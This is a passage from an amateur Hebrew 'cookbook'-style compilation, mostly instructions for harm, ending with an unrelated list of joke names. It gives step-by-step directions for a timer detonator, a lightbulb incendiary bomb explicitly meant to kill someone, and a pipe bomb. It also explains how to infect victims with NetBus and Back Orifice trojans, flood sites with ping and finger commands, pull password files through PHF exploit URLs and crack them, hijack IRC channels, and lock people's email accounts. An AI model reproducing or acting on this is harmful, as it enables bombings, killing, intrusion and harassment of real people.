‫טוב קח את החוט הבודד ותגע עם קצה אחד שלו במוט הכסוף והקצה השני תנסה באחד‬
‫הרגליים של הזמזם‬
‫אחת הרגליים תגרום לרישרוש בזמזם זה סימן שהרגל השניה זאת הרגל שאותה אנחנו צריכים‬
‫קח את השקית תכניס לתוכה את המנורה ותנפץ בעדינות!! על משהו קשה‬
‫(אל תזרוק את השקית על הריצפה כדי שלא תפצע)ישאר לך את הלמטה של המנורה (כמו בורג)‬
‫ועמוד זכוכית עם ‪ 4‬חוטי חשמל בולטים‪ ,‬חוט להט הדבר שעושה את האור‬
‫פה יש ‪ 2‬שיטות‪:‬‬

‫‪)1‬להשתמש במנורה כמו שהיא את אחד החוטים של בית הבטריה לחלק התחתון של המנורה‬
‫וחוט אחד(מהחוטים הנפרדים) מהצד של המנורה אל אותה הרגל של הזמזם שלא רישרשה(הכל‬
‫בהלחמה!)‬
‫עכשיו הקטע המסוכן קח חתיכת נייר (לא נייר כסף‪ )...‬וסים בין המוט כסף לכסף שמתחת‬
‫כדי שהשעון לא יתחחיל לצפצף הזמן שאתם‬
‫מלחימים קח את החוט שנשאר מהבית בטריה תלחים לקצה של המוט כסף‪.‬‬

‫‪)2‬לחתוח את החוט להט ולחבר אותו בניפרד(הרבה יותר מסובך‪ ,‬יותר איכותי!)‬
‫עושים אותו הדבר רק במקום לחבר במנורה ללמטה של הבורג ולצד פשוט מחברים לכל צד של‬
‫החוט להט‬

‫‪349‬‬
‫עכשיו תוציאו את הדף בזהירות בלי ללחוץ עך המוט הכסף ותחברו הכל כמו שהיה בהתחלה‬
‫אבל תשאירו את הבטריות ואת החוט להט בחוץ‬
‫עוד פעם ‪ 2‬שיטות‪:‬‬
‫‪)1‬אבקת שריפה של כדור‪-‬תכניסו את האבק שריפה לתוך נייר טואלט(אחרי שפירקתם‬
‫אותו(חור בקיר יספיק‪ )...‬תניחו את החוט להט על הנייר ושגם יגע‬
‫באבקה ותעטפו את החוט להט עם הנייר טואלט בזהירות החוט מאוד רגיש ולא כדאי שיקרע!‬
‫מעל‪/‬בתוך הנייר תחברו את הפצצה תחבנו את השעון לשעה שאתם רוצים שזה יתפוצץ תחביאו‬
‫במקום שלא‬
‫ישימו לב‬
‫‪ )2‬אותו הדבר רק עם נייר ספוג בחומר מתלקח (דלק‪/‬אלקוהול‪)...‬‬

‫מה שיקרה זה שמתי שיגיע הזמן של השעון מצפצף מוט הכסף ירד ויסגור מעגל עם הזמזם אבל‬
‫אמחנו עשינו‬
‫עוד מעגל שמתחבר לזה עם ‪ 9V‬ולא ‪ 1.5V‬שמתחבר לחות להט ואנחנו מנצלים את התיזמון‬
‫והמעגל של השעון‬
‫לצורך הדלקת הפצצה בשרטוט גרוע זה בערך ככה‪:‬‬
‫\‪\/\/\/\/\/\/‬נפץ\‪/\/\/\/\/\/\/‬‬
‫חוט להט‬

‫‪V 9/6‬‬
‫היה פה‬
‫זמזם‬

‫‪V 5 . 1‬‬

‫‪HFM‬‬
‫שיטה שניה‬
‫פשוט לפתוח את השעון להוציא את הזמזם לחבר במקום את המנורה לחבר את החוט להט‬
‫לפתיל של הנפץ ואז במקום שהשעון יצפצץ הוא יפוצץ את הנפץ‬

‫‪HFM‬‬

‫‪350‬‬
‫פצצת מנורה‬
‫מצרכים‪:‬‬

‫*דלק או כל דבר שממש דליק אחר‪.‬‬

‫*קצת מזל‪.‬‬

‫*צלוטיפ‪.‬‬

‫*מנורת להט‪.‬‬

‫*מזרק‪.‬‬

‫*מישבו שאתם באמת רוצים להרוג‪.‬‬

‫אופן ההכנה‪:‬‬

‫לשבור חור קטן במנורה להכניס כל דבר דליק (אבק שריפה‪ ,‬דלק‪ ,‬וכו'‪)...‬את הדלק אם המזרק‪.‬‬
‫להכניס לבית מנורה‬

‫חשוב מאוד‬

‫(לנסות קודם עצם לא כדאי‪)...‬‬

‫‪HFM‬‬

‫‪351‬‬
‫מקלע הכי טוב שיש‬
‫מקלע זה הוא ירושה מאבי מקלע פיצוצי כדאי כדאי כדאי!!!‬

‫מצרכים‪:‬‬

‫*קרש באורך ‪ 30‬ס"מ‪.‬‬

‫*אטב כביסה (עדיף מעץ)‪.‬‬

‫*הרבה אטבים הכי זולים שיש (צריך להרוס אותם)‪.‬‬

‫*פטיש‪.‬‬

‫*מסמר ‪ 5‬ס"מ עדיף בלי ראש‪.‬‬

‫*גומיות רגילות‪.‬‬

‫*דבק ‪ /‬צלוטיפ‪.‬‬
‫אופן ההכנה‪:‬‬
‫לדפוק את המסמר בחלק העליון כמו בציור הבא‪:‬‬

‫כאן לדפוק את‬


‫המסמר‬

‫קרש‬
‫שזה יראה כך‬

‫עכשיו נוסיף את האטב בכל שיטה שהיא‬


‫שיראה כך‬

‫מה שבאדום זה אטב‪.‬‬


‫עכשיו נכין קליעים מהגומיות והקפיץ של האטבים מכניסים גומיה בין שני הידיים של הקפיץ‬
‫ואחר כך מזיזים את היד האחורית לקדימה ואת היד הקידמית לאחורה ולבסוף זה יראה כמו‬
‫בציור הבא‪:‬‬

‫איך יורים‪:‬‬
‫תולים את הגומיה על המסמר מעבירים אותה לאורך כל הקרש ואחר כך מחניסים את הקפיץ‬
‫לאטב שמודבק על הקרש וכשלוחצים על האטב זה עף למרחקים אדירים ואוד כואב‬
‫מראה סופי מהצד‬

‫‪HFM‬‬
‫מטען צינור‬

‫‪352‬‬
‫חומרים‪:‬‬

‫*צינור ברזל ושני פקקים מתאימים‬

‫*מקדחה ‪ +‬מקדח דק‬

‫*אבק שריפה‪/‬חומר נפץ‬

‫*חוט חשמל דק‬

‫*מנורת להט ‪3V‬‬


‫מתחילים‪:‬‬
‫לסגור את הצינור מצד אחד מצד שני להכניס את האבק שרפה לשבור למנורה את‬
‫הזכוכית (וכמובן לחבר לה את החוטים) תקדחו בפקק שנישאר חור בשביל החוט‬
‫של המנורה תשחילו בפנים את החוט ותסגרו את הפקק שהמנורה (ששבורה לה‬
‫הזכוכית) בפנים עכשיו תניחו בחוץ את המנגנון ההשעיה שקודם דיברנו‬
‫ובוווווווווווווווווווווםםםםםםםםםםםםם!!!!!!!!!‬

‫‪HFM‬‬

‫פריצה למחשב‬

‫‪353‬‬
‫שאלה קשה‪ ,‬לא בהכרח‪ :‬אם אתה מקצוען אז היא ממש לא קשה יש כמה שיטות אבל פה אני‬
‫יסביר את הדרך הכי‬
‫נפוצה ‪" -‬הדלת האחורית"‪.‬‬
‫הדלת האחורית אומרת שאתם נכנסים למחשב של הקורבן לא בדרך הישירה אלא בדרך‬
‫המתוחכמת‪.‬‬
‫צריך לשלוח קובץ (סוס טרויאני או דלת אחורית) לקורבן וכשהוא יפעיל אצלו את הקובץ הוא‬
‫פותח את הדלת‬
‫בלי שידע‪.‬‬
‫אפשריות רבות פתוחות לפניכם למשל גישה לכל הקבצים במחשב של הקורבן‪ ,‬מחיקת קבצים‪,‬‬
‫העתקת קבצים‪,‬‬
‫ראית מסך‪ ,‬ראית סיסמאות האינטרנט‪ ,‬הפעלה של תוכניות‪ ,‬פתיחה וסגירה של ה ‪CD-ROM‬‬
‫ועוד מלא אפשרויות‪.‬‬
‫תוכנות הדלת האחורית בנויות על שני קבצים‪.‬‬
‫הקובץ ‪ Clinet‬אמור להיות אצל מי שרוצה להתקיף‪ .‬והוא הקובץ שהקורבן אמור להפעיל‪.‬‬
‫הקובץ מנטרל את מערכת ההגנה של הקורבן‪ ,‬ומאפשר לך שליטה מלאה על מחשב שלו‪.‬‬
‫סוסים טוריאנים יכולים להיות רק בקבצים בסיומות ‪ EXE COM BAT‬או ‪.VBS‬‬
‫דלתות אחוריות וסוסים טרויאנים שמאפשרים פריצה למחשב יכולים להיות רק בסיומות ‪EXE‬‬
‫‪ COM‬או ‪,VBS‬‬
‫אבל כמעט תמיד הם נמצאים רק בסיומת של ‪.EXE‬‬

‫אני לא יסביר איך פורצים בכל תוכנות הפריצה כי כל התוכנות עובדות בדיוק על אותו עיקרון‪.‬‬
‫התוכנות הנפוצות ביותר והפשוטות ביותר לפריצת מחשבים הם ‪ NetBus‬ו‪,Back Orifice-‬‬
‫ובקיצור ‪ NB‬ו ‪( BO‬אפשר להוריד אותם באתר)‪.‬‬
‫יש תוכנות פריצה יותר מסובכות כמו למשל ‪.Happy99‬‬
‫אם אתם משתשמים בנטבס (בגרסה ‪ 1.60‬ומעלה) אתם צרכים לשלוח את הקובץ ‪Patch.exe‬‬
‫(שמצורף עם התוכנה‪,‬‬
‫הקובץ הוא בעל אייקון של לפיד על רקע כחול ותופס בקירוב ‪ 462‬קילובייט‪ ,‬בגרסאות יותר‬
‫נמוכות שם הקובץ‬
‫הוא ‪ SysEdit.exe‬והאייקון שלו הוא גלגל שיניים אפור)‬
‫לקורבן שאילו אתם רוצים לפרוץ‪ ,‬אם הוא יפעיל את הקובץ אז הקובץ ינטרל את מערכת‬
‫האבטחה שלו ויאפשר‬
‫לכם לפרוץ למחשב שלו‪ ,‬הקובץ גם יעתיק את עצמו לתיקית החלונות במחשב של הקורבן ויפעיל‬
‫את עצמו בכל‬
‫פעם שהוא יפתח את המחשב‪.‬‬
‫אם אתם רוצים להיות יותר מותוכמים אתם יכולים לשלוח לו טרויאן אחר שמדומה למשחק‪,‬‬
‫תכונה‪ ,‬תמונה‪,‬‬
‫הודעה וכו'‪ ,‬ובעצם הקובץ מתקין את הפטצ' של ‪ NetBus‬או של ‪ Back Orifice‬מבלי שהקורבן‬
‫ידע‪.‬‬
‫יש אפילו תוכנות שבעזרתם אתם יכולים ליצור בעצמכם טרויאנים!‬
‫כדי לפרוץ למחשב אתם צריכים לדעת גם את מספר ה‪ IP-‬שלו‪.‬‬
‫(לכל מחשב שמחובר לאינטרנט יש מספר שמאתר אותו ‪ -‬האיי פי שלו‪ ,‬באמצעות האיי פי‬
‫המחשב מקבל ושולח‬
‫מידע לאינטרנט‪ ,‬מספר האיי פי אמור להשתנות אחרי כל התקשרות לאינטרנט)‬
‫אני ממליץ לכם לפרוץ לאנשים בעזרת האייסיקיו‪ ,‬אז כדי לגלות את האיי פי של מי שנמצא‬
‫ברשימה שלכם‬
‫תשתמשו בתוכנה ‪ icq ip sniffer‬והיא תגלה אוטומטית את מספרי האיי פי‪.‬‬
‫אם אתם רוצים לשלוח את הטרויאן בדרך אחרת‪ ,‬תשתמשו בתוכנה ‪ ip sniffer‬כדי לגלות את‬
‫האיי פי‪.‬‬
‫יש גם טרויאנים שמגלים אוטומטית את מספר האיי פי של הקורבן‪.‬‬
‫עכשיו (אחרי שאתם יודעים את האיי פי של הקורבן‪ ,‬ואחרי שהוא פתח את ה‪ )Patch -‬תפתחו‬
‫את נטבס‪,‬‬
‫תירשמו את האיי פי איפה שצריך‪ ,‬ותילחצו על הכפתור ‪ ,Connect‬ו ‪ ...‬פרצתם למחשב שלו !‬
‫עכשיו אתם יכולים למחוק לו את כל ההרדיסק‪ ,‬להסתכל לו בקבצים‪ ,‬למחוק לו קבצים‪ ,‬לגרום‬
‫למחשב שלו‬

‫‪354‬‬
‫להפעיל תוכניות‪ ,‬אתרים‪ ,‬דפי אינטרנט‪ ,‬תמונות וקבצי סאונד‪ ,‬ואפילו לפתוח לו את ה ‪CD-‬‬
‫‪.ROM‬‬
‫אם אתם משתמשים ב‪ Back Orifice-‬אתם צרכים לשלוח לקורבן את הקובץ ‪ NotBO.exe‬ואם‬
‫הוא יפעיל את הקובץ‬
‫אז הקובץ יעתיק את עצמו לתיקיית ה‪ System -‬של ‪ Windows‬לשם '‪( ' .exe‬רווח נקודה ‪)exe‬‬
‫ויריץ את עצמו‬
‫אצל הקורבן בכל פעם שהוא יפעיל את המחשב‪ ,‬הקובץ הוא בעל אייקון שקוף ותופס בקירוב‬
‫‪ 122‬קילובייט‪.‬‬
‫אפשר לפרוץ למחשבים בעזרת ‪ NetBus‬או ‪ Back Orifice‬גם דרך סריקה אקראית של מספרי‬
‫איי פי שמשתמשי‬
‫המחשבים שלהם הפעילו את הפטצ' של תוכנות הפריצה‪.‬‬

‫אני המלצתי לכם לפרוץ לאנשים דרך האייסיקיו בגלל שלוש סיבות‪:‬‬
‫‪ -‬אתם יכולים לדעת בקלות את האיי פי של מייי שאתם רוצים לפרוץ אליו‪ ,‬ואתם גם יכולים‬
‫לשלוח לו את‬
‫הטרויאן דרך האייסיקיו‪.‬‬
‫‪ -‬אתם יכולים לדעת מלא פרטים על מי שאתם רררוצים לפרוץ למחשב שלו‪:‬‬
‫וכך אתם יכולים לבחור אם לפרוץ למישהו בארץ או מארץ אחרת‪ ,‬אני משער שכמעט לכל‬
‫הכיתה שלכם יש‬
‫אייסיקיו אז עם מישהו עיצבן אותכם זאת ההזדמנות שלכם לנקום בו מבלי שידע‪.‬‬
‫(אם אתם מתכוונים לפרוץ למישהו מהארץ אז תשנו את כל הפרטים שלכם ללא אמיתים ואל‬
‫תשנו אותם בחזרה‬
‫אחר‪-‬כך‪ ,‬ואם זה למישהו שאתם מכירים אז אתם צריכים לפתוח אייסיקיו חדש שבו כל‬
‫הפרטים שלכם יהיו‬
‫וישארו לא אמיתיים! שלא יחשוד שאתם פרצתם למחשב שלו!)‪.‬‬
‫‪ -‬אם אתם פורצים למישהו למחשב ואתם גם מבייינים בהאקינג אתם יכולים לפרוץ לו את‬
‫האייסיקיו‪ ,‬ואז לשלוח‬
‫הודעות בשמו‪ ,‬לשלוח לאנשים טרויאנים דרכו‪.‬‬
‫אתם גם יכולים לפרוץ אייסיקיו של אנשים גם מבלי לפרוץ למחשב שלהם‪.‬‬

‫ולסיכום‪:‬‬
‫כדי לפרוץ למחשב צריך‪:‬‬
‫* תוכנת פריצה‬
‫* לשלוח לקורבן סוס טרויאני או דלת אחורית ושהוא יפתח אותו‬
‫* לדעת את מספר האיי פי של הקורבן‬
‫‪ HFM‬או ‪program44‬‬

‫איך מגלים ‪ IP‬של מישהו במירק(‪)MIRC‬‬


‫נורא פשוט‪ ,‬כותבים‪:‬‬
‫‪nickname /dns‬‬
‫(איפה שכתוב ‪ nickname‬אתם צרכים לכתוב את השם ב‪ Mirc -‬של מי שאתם רוצים לדעת את‬
‫האיי פי שלו)‬

‫‪355‬‬
‫‪Progaram44‬‬

‫להפיל אתרים וליפרוץ אליו‬


‫איך להפיל אתר ?‬
‫אפשר להפיל אתר עם לחץ עליו אני יקרא לזה שיטת דפיקת בדלת אפשר לשלוח לו מידע עד‬
‫שהסרבר שלו מתפוצץ‬
‫ואז הוא מפסיק לעבוד לדוגמא‪:‬‬
‫‪ping –t –l 256 xxx.xxx.xxx.xxx‬‬

‫‪356‬‬
‫צריך לכתוב את הפקודה ב‪ DOS-‬שהאיקסים הם האיי פי של האתר המינוס טי אומר שזה לא‬
‫יפסיק ולא אומר כמה‬
‫בייטים לשלוח לו אם אתם רוצים להגביר את הדפיקה בדלת צריך להרים את המספר ‪256‬‬
‫למספר יותר גבוה‬
‫ולהפעיל בכמה חלונות‪.‬‬
‫האיי פי של האתר רשום בדפדפן למטה כשאתם נכנסים לאתר‪ ,‬כשאתם מפילים אתר בשיטה‬
‫הזאת הוא חייב להיות‬
‫עם שרת משלו (לאתרים שנמצאים על אותו שרת יש כתובת איי פי זהה‪ ,‬לאתרים פרטיים אין‬
‫בדרך‪-‬כלל שרת‬
‫עצמאי משלהם והם ממוקמים על שרת אחר)‪.‬‬

‫מומלץ להשתמש בלינוקס או יוניקס ולכתוב את הפקודה הזאת‪:‬‬


‫‪finger @@@@@@@@@@@ http://webpage_goes_here‬‬
‫תחליפו את כתובת האתר במה שאתם רוצים להפגיז אבל זה עובד רק ביוניקס ובלינוקס‪.‬‬
‫שיטות אלה נקראות דפיקה בדלת מכיוון שדופקים עד שהיא מתפרקת‪.‬‬

‫אני מסתמך על זה שאני בין המאות היחידות בארץ שיש להם יוניקס אז בלפרוץ אתר אני‬
‫ישתמש בפקודת‬
‫לחלונות‪ ,‬בואו נתחיל יש הרבה מאוד שיטות להפלת אתרים‪ ,‬יש איזה מיליון שיטות לפרוץ‬
‫לאתרים אבל יש‬
‫שלוש מפורסמות‪:‬‬
‫‪ – PHF, FTP, Exploit‬אקספלויט היא הכי טובה הכי מקצועית והיא גם הכי מסובכת‪.‬‬
‫שיטת ה‪ Exploits -‬הכי טובה הכי מקצועית והכי מסובכת מבוססת על ‪ Telnet‬בדרך כלל‪.‬‬
‫אני יכול להגיד לכם בגדול ששיטות האקספלויט מבוססות על תקלות נפוצות בשרתים‬
‫שנמצאות בזמן מסוים‪.‬‬
‫במסמך זה אני יסביר את שתי השיטות האחרות ‪ Anonymos FTP‬ו‪.PHF -‬‬
‫אז פריצה לאתר (או לכל שרת אחר) היא בשלושה שלבים‪:‬‬

‫‪-‬השגת קובץ ‪passwd‬‬


‫‪-‬פריצת קובץ ה‪ passwd -‬עם קראקר ומציאת ‪ UserName‬ו‪PassWord -‬‬
‫‪-‬כניסה לאתר דרך ‪ Telnet‬עם ה‪ UserName -‬וה‪ PassWord -‬שהישגתם‬

‫נזכרתי צריך גם אתר עליו אתם רוצים לפרוץ …‬


‫אני לא ממליץ לנסות לפרוץ לאתרים גדולים ומפורסמים לרוב יש ‪ FireWall‬וזה לא דבר שקל‬
‫לעבור‪,‬‬
‫לאתר של החבר דווקא כדאי לנסות בשביל הכיף‪ .‬פריצת קובץ ‪ passwd‬זה לא ענין מסובך כמו‬
‫שזה נשמע אתם‬
‫צריכים להוריד קראקר ‪Cracker Jack, John the Ripper, Brute Force Cracker, or‬‬
‫‪Jack the Ripper‬‬
‫אני ממליץ על ארבעת אלה‪ ,‬למרות שחלק מהם עובדים רק על יוניקס‪.‬‬
‫לי יותר קשה למצוא את הקובץ מלפרוץ אותו‪.‬‬

‫כדי לפרוץ לאתר צריכים‪:‬‬


‫‪ FTP Client-‬אפשר להוריד גירסת הדגמה מ‪:‬‬
‫‪www.ftpvoyager.com‬‬
‫ואחר‪-‬כך לחפש קראק לתוכנה ב‪ AstaLaVista.com-‬כדי שתהיה לכם אפשרות להשתמש‬
‫בתוכנה ללא הגבלת זמן‪.‬‬
‫‪Telnet Client-‬‬
‫אמור להיות בתיקית החלונות של כל מחשב שמחובר לאינטרנט‬
‫‪ Password Cracker-‬אפשר להוריד מ‪:‬‬
‫‪www.hackpalace.com/cracking/unix-passwords/‬‬
‫‪ Dictionary Word List-‬אפשר להוריד מ‪:‬‬
‫‪http://wacophreak.hypermart.net/archives.htm‬‬

‫‪357‬‬
.‫הדרך הקלה ביותר (יחסית ליעילות שלה) היא אף טי פי אנונימי‬

.‫ ניראה איך ניראה הקובץ‬passwd -‫לפני שאנחנו משיגים את קובץ ה‬


.passwd ‫יש שני סוגים של קבצי‬
.UN-Shadowed Password File ‫הראשון שאני יסביר הוא‬
:‫הנה לדוגמא קובץ אמיתי שאני מצאתי‬

fldl0001:oS6quCRbDkmuM:537:300:Diane Laing:/home/fldl0001:/bin/bash
alastair:UZ9MFB7pOLvH6:540:100:Alastair
Sommerville:/home/alastair:/bin/bash
y2aberne:SjfSyVTnZ3ZT6:541:300:Kate Abernethy:/home/y2aberne:/bin/bash
y2ronxin:Ter0LeetG7uH6:542:300:Maggie Ronxin:/home/y2ronxin:/bin/bash
y2fair:.HocpfcuhgBbU:543:300:Jane Fair:/home/y2fair:/bin/bash
y2mcbrid:faARb1ftg.xfg:544:300:Emma McBride:/home/y2mcbrid:/bin/bash
y2hunter:HdXaBQoGpdR1Q:545:300:Gavin Hunter:/home/y2hunter:/bin/bash
y2marsha:3dtDG9VDCAXAw:546:300:Ruth
Marshall:/home/y2marsha:/bin/bash
y2halket:AcuYHIXytcDac:547:300:Steven Halkett:/home/y2halket:/bin/bash
y2macfar:g1k5tnbE3mn4w:548:300:Cassidy
MacFarlane:/home/y2macfar:/bin/bash
d2wilson:u7TfMN0MeKPjY:550:300:Robert Wilson:/home/d2wilson:/bin/bash
d2hunter:b7wdUmJobrfuc:551:300:Douglas Hunter:/home/d2hunter:/bin/bash
d2bell:k9SnbgYAdblnI:552:100:David Bell:/home/d2bell:/bin/bash
d2lane:eArmBPOBOn3J.:553:300:David Lane:/home/d2lane:/bin/bash
y2bentle:A725bDhP/gCNE:554:300:Scott Bentley:/home/y2bentle:/bin/bash

.‫הקבצים יכולים להיות גם יותר ארוכים‬


:‫באו ניקח שורה לדוגמא מהקובץ‬

y2bentle:A725bDhP/gCNE:554:300:Scott Bentley:/home/y2bentle:/bin/bash

:‫עכשיו אנחנו יכולים להבין את המבנה הבסיסי של קבצים מהסוג הזה‬

Username:encrypted password:user number:group number:real name:home


directory:type of shell

:Shadowed Password Files ‫ועכשיו לסוג השני של הקבצים‬


:‫הנה עוד קובץ לדוגמא‬

root:*:0:0:Charlie &:/root:/bin/csh
:toor:*:0:0:Bourne-again Superuser:/root
:daemon:*:1:31:Owner of many system processes:/root
operator:*:2:20:System &:/usr/guest/operator:/bin/csh
bin:*:3:7:Binaries Commands and Source,,,:/:/nonexistent
:games:*:7:13:Games pseudo-user:/usr/games
news:*:8:8:News Subsystem:/:/nonexistent
:man:*:9:9:Mister Man Pages:/usr/share/man
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/nonexistent
nobody:*:65534:65534:Unprivileged user:/nonexistent:/nonexistent

358
‫‪ftp:*:14:5:Anonymous FTP Admin:/var/ftp:/bin/date‬‬
‫‪y2bentle:*:554:300:Scott Bentley:/home/y2bentle:/bin/bash‬‬

‫אז עכשיו לחלק המעשי אתם צריכים להיכנס לאתר שאליו אתם רוצים לפרוץ דרך ‪,FTP‬‬
‫כדי להיכנס לאתר דרך אף טי פי בדפדפן צריך לרשום‪:‬‬
‫‪ftp://webpage_goes_here‬‬
‫אם אתם מנסים להיכנס דרך אף טי פי בדפדפן מומלץ מאוד להשתמש בנטסקייפ‪.‬‬
‫כדאי לדעת שכמעט ‪ 99%‬מהשרתים לא מאפשרים כניסה דרך אף טי פי אנונימי‪.‬‬
‫רוב הפעמים לא תצליחו ותיקבלו הודעות כמו‪Anonymous Users Not Allowed :‬‬
‫מה שאומר שהאתר לא מאפשר או חוסם גישה לכניסה אנונימית דרך אף טי פי‪.‬‬
‫במקרה שלא הצלחתם אתם יכולים להפעיל את ‪ FTP Client‬שהורדתם או כל תוכנת ‪FTP‬‬
‫אחרת ולנסות להיכנס‪,‬‬
‫רוב הפעמים לא תצליחו‪ ,‬אז אתם צריכים לנסות לשחק עם ה‪ ports-‬מה שקוראים באנגלית‬
‫‪.port surfing‬‬
‫אם האתר עליו ניסיתם להיכנס מוגן חזק דרך ‪ FireWall‬אז אתם צריכים להתחיל לעשות‬
‫דברים כמו ‪ Trace‬כדי‬
‫לראות איזה מחשבים עובדים עם המחשב הזה ולנסות לפרוץ עליהם‪.‬‬
‫כשמנסים להיכנס לאתר דרך אף טי פי בתוכנת ‪ FTP Client‬צריכים למלא את הפרטים‬
‫הבאים‪:‬‬

‫‪FTP SERVER-target goes here‬‬


‫‪NAME-name of target goes here‬‬
‫‪LOGIN NAME-anonymous‬‬
‫‪PASSWORD-your email or “an” email address here‬‬

‫אם הצלחתם להיכנס לאתר ב‪ FTP -‬דרך הדפדפן או דרך תוכנת ‪ FTP Client‬אתם אמורים‬
‫לראות לפחות ‪ 4‬תיקיות‪:‬‬

‫‪bin/‬‬
‫‪etc/‬‬
‫‪lib/‬‬
‫‪pub/‬‬

‫תחפשו קובץ בשם ‪ passwd‬או בשם ‪ passwd.db‬בתיקיה ‪ etc‬ותעתיקו אותו למחשב שלכם‪.‬‬

‫שיטת ה‪ PHF-‬לפריצת אתרי ‪ – Web‬אני לא בטוח אם מסמך זה יעזור למישהו‪ ,‬שיטת ה‪PHF-‬‬
‫היא שיטה פשוטה מאוד‬
‫אבל ביותר מ‪ 99%-‬מהפעמים היא לא עובדת‪ ,‬פעם היא עבדה אבל השרתים למדו להתגונן‬
‫ממנה‪.‬‬
‫כל מי שמבין קצת בהאקינג (ולא סתם מזין את המוח) יודע שכדי לפרוץ לאתר אתה צריך‬
‫להיכנס לדף אנונימי‬
‫להוריד את קובץ הפס וורד ולפרוץ אותו עם ‪.Cracker‬‬
‫אז הנה זה בא‪:‬‬
‫‪http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd‬‬
‫או‪:‬‬
‫‪http://webpage_goes_here/cgi-bin/phf?Qalias=j00%ffcat%20/etc/passwd‬‬
‫איפה שכתוב‪ webpage goes here :‬כותבים את כתובת האתר‪.‬‬
‫אם הצלחתם תראו את קובץ ה‪ passwd -‬ותעתיקו אותו למחשב שלכם‪.‬‬

‫עכשיו אחרי שהישגתם את קובץ ה‪ passwd -‬אתם צריכים להעתיק אותו לתיקיה של הקראקר‬
‫ולהעתיק לתיקיה של‬

‫‪359‬‬
‫הקראקר גם את קובץ ה‪ Dictionary Word List-‬שהורדתם‪.‬‬
‫אם אתם משתמשים בקראקר ‪ John the Ripper‬תיכנסו דרך ‪ DOS‬לתיקיה של הקראקר‬
‫ותיכתבו‪:‬‬
‫‪john –w:Dictionary_FileName_goes_here Password_FileName_goes_here‬‬
‫הקראקר ינסה לחבר כל מילה שנמצאת ב‪ Dictionary Word List-‬לבין הסיסמה המוסתרת‬
‫בקובץ ה‪passwd -‬‬
‫עד שהוא ימצא את השילוב המתאים‪.‬‬
‫אם הצלחתם הוא יתן לכם ‪ UserName‬ו‪ PassWord -‬ברוב הפעמים יותר מאחד‪.‬‬
‫אם אתם משתמשים בקראקר ‪ Cracker Jack‬אתם חייבים לצאת מחלונות ל‪ DOS-‬כי‬
‫הקראקר חייב לעבוד במצב‬
‫“אמיתי" של ‪ MS-DOS‬בגלל שהוא משתמש ב"זכרון נקי”‪.‬‬
‫כאשר תפעילו את הקראקר הוא ישאל אותכם לגבי ה‪ Password File -‬וה‪:Dictionary File -‬‬
‫‪Pwfile(s): Password File‬‬
‫‪Wordfile: Dictionary File‬‬

‫אחרי שהישגתם ‪ UserName‬ו –‪ PassWord‬תפעילו את ‪.Telnet Client‬‬


‫עכשיו תלחצו על ‪ FILE – REMOTE SYSTEM‬ותכניסו את כתובת האתר‪ ,‬אחר‪-‬כך תצתרכו‬
‫להכניס את ה‪UserName -‬‬
‫וה‪ Password -‬שהישגתם ופרצתם לאתר !!!‬

‫‪Program44‬‬

‫נט ספליט‬
‫נט ספליט זה מן שגיאה בשרת‪ :‬התפצלות לזמן קצוב שיכולים לנצל כדי להשתלטות על ערוצים‬
‫שלמים‪,‬‬
‫כאשר יש נט ספליט תדאגו שלא יהיה אף אחד בערוץ שאתם נמצאים בו תיצאו מהערוץ וכנסו‬
‫חזרה והנה האופ‬
‫עכשיו זו לא כל העבודה‪ :‬חכו שכולם יגיעו חזרה לערוץ זה לוקח מנימום ‪ 3-4‬דקות מקסימום‬
‫חצי שעה והנה‬
‫להם אין אופ ולכם יש עכשיו תעשו מהר רג'יסטר לערוץ ותזההו והערוץ כולו בשליטה שלכם‬
‫אתם יכולים לעשות‬
‫כל מה שעולה לכם בראש הכל פשוט הכל‬

‫‪Program44‬‬

‫‪360‬‬
‫סגירת תיבות אי מאייל‬
‫אם משהו מעצבן אותכם ואתם רוצים לסגור לו את חשבון האימייל אתם יכולים לעשות זאת‬
‫בקלות‪,‬‬
‫אתם צריכים להכנס לאתר של ספק חשבון האימייל שלו‪ ,‬ולנסות להכנס ‪ -‬כל פעם תכתובו‬
‫סיסמה שונה‪.‬‬
‫אם תעשו את זה ‪ 30-40‬פעמים ברציפות החשבון יסגר אוטומטית מטעמי ביטחון‪.‬‬

‫‪Program44‬‬

‫‪361‬‬
‫מוכר הפלאפל ‪ -‬שימחה ריף‬
‫הבלשית ‪ -‬מירה צח‬
‫הטייסים ‪ -‬אבי רון ואלי קופטר‬
‫ישנוני ‪ -‬ניר דמתי‬ ‫שמות מצחיקים‬
‫החמוד ‪ -‬מיכה מוד‬ ‫הרוסי המסומם ‪ -‬אלכס טזי‬
‫הפקידה‪ -‬בטי פול‬ ‫החוקר ‪ -‬מישה דד‬
‫המלשינים ‪ -‬אודי בר ועוזי מר‬ ‫השברירית ‪ -‬עדי נה‬
‫המתאבד ‪ -‬עמית אבד‬ ‫הרגוע ‪ -‬בני חותה‬
‫התאורנית ‪ -‬אורנה מוך‬ ‫הברמנית ‪ -‬סימה שקה‬
‫הדוגמנית הערביה ‪ -‬עלילה מסלול‬ ‫המזכירה ‪ -‬אתי פרון‬
‫מנהלת בית‪-‬אבות ‪ -‬גילה עמידה‬ ‫המאפרת ‪ -‬תיקי פור‬
‫המנומס ‪ -‬בני מוס‬ ‫הספרנית ‪ -‬סימה ניה‬
‫האלחוטנית ‪ -‬רות עבור‬ ‫המטומטם ‪ -‬אידי יוט‬
‫רופאת השיניים ‪ -‬חני חיים‬ ‫השוטר ‪ -‬סמי סביב‬
‫נוסע במונית ‪ -‬סימון נה‬ ‫וחברו ‪ -‬שימחה גורה‬
‫המזכירה ‪ -‬אתי פרון‬ ‫המצילה ‪ -‬אניטה ואטי‬
‫הפסיכולוג ‪ -‬מוטי וציה‬ ‫הטייסת ‪ -‬בטי סקלה‬
‫העקום ‪ -‬אסי מטרי‬ ‫מלכת היופי ‪ -‬מיה פבה‬

‫‪362‬‬
‫המציל ‪ -‬לוליק פוץ‬
‫הנחנק ‪ -‬פיני סתם‬
‫הערבי המסומם ‪ -‬בסאם שקע‬
‫השיכור ‪ -‬מישה תלי‬
‫פועלת הבניין ‪ -‬מרי צה‬
‫הקצב ‪ -‬עזרא צחתי‬
‫ואשתו ‪ -‬עופרה צחתי‬
‫הפושע ‪ -‬בני גודלחוק‬
‫הבנקאי ‪ -‬תמיר ליפרנק‬
‫הגניקולוג ‪ -‬פינקוס‬
‫המלצר ‪ -‬שימחה מוצים‬
